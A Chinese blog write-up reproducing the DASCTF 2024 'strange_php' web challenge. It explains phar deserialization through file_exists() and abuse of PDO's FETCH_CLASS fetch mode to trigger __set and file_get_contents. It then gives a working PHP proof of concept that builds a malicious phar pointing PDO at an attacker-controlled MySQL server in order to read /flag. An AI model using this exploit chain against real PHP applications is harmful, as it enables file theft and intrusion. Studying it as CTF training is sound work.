DASCTF-2024最后一战-WEB-复现

DASCTF 2024最后一战-web复现

参考文章

strange_php

首先看到welcome.php的删除评论功能点可以自己传参文件名$message_path,跟进deleteMessage函数

传入后加上了.txt后缀,并且使用了file_exists()函数,这里可以联想到phar反序列化

紧挨着delete函数的__set魔术方法中含有file_get_contents()函数,并且能输出到已知的目录和文件名

_set由给类内一个不存在的属性赋值触发,由于PDO_connect.php给了我们数据库的连接参数,我们可以尝试进行覆盖来连接到自己的数据库

这里参考大佬给出的方法:
如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。

这里提到的 262152 实际上是 PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE 的组合值(PDO::FETCH_CLASS 的值是 262144,PDO::FETCH_PROPS_LATE 的值是 8)

  • ATTR_DEFAULT_FETCH_MODE设置为PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE(262152) 时,PDO 会执行以下步骤:
    1. 从结果集中读取一行数据。
    2. 将该行数据的第一列的值作为类名。
    3. 使用该类名创建一个新的实例(通过 new $className)。
    4. 调用该实例的构造函数。
    5. 遍历结果集的剩余列,将列名作为属性名,列值作为属性值,并尝试将这些值赋给该实例的属性。

因此我们可以在数据库新建一个UserMessage表,并且更改filePath的值,再加上一个不存在的变量(password),即可触发__set

User类中的log函数进行了数据库连接,这里就是入口

他还提供了数据表名,用户名,密码从而指定从哪一行读取,上面的PDO_connect类指定了数据库

在云服务器创建数据库如图,filePath一定放在password之前,否则会被set打断无法赋值

记得创建一个joker账户,授予全部权限

poc:

<?php
class User{

    public $id;
    public $username="UserMessage";
    public $created_at;
    private $conn;
    private $table = 'users';
    private $password="aaa";

    public function __construct() {

        $this->conn = new PDO_connect();//连续触发多个类的反序列化

    }



}

class PDO_connect{



    public $con_options = array(

        "dsn"=>"mysql:host=47.237.137.220:3306;dbname=users;charset=utf8",

        'host'=>'47.237.137.220',

        'port'=>'3306',

        'user'=>'joker',

        'password'=>'joker',

        'charset'=>'utf8',

        'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152,

            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)

    );
    public $smt;
    private $pdo;

}

$a=new User();

$phar = new Phar("ppppp.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->addFromString("happy.txt", 'happy');

$phar->setMetadata($a);

$phar->stopBuffering();

$file_contents = file_get_contents("ppppp.phar");

echo urlencode(base64_encode($file_contents));

之后进行反序列化读取(报错是正常的,phar协议不可删除文件)

访问/log/0bc7be346d4df269543565b6b7cd231a.txt 即md5(/flag).txt

posted @   Dyinglight5  阅读(89)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示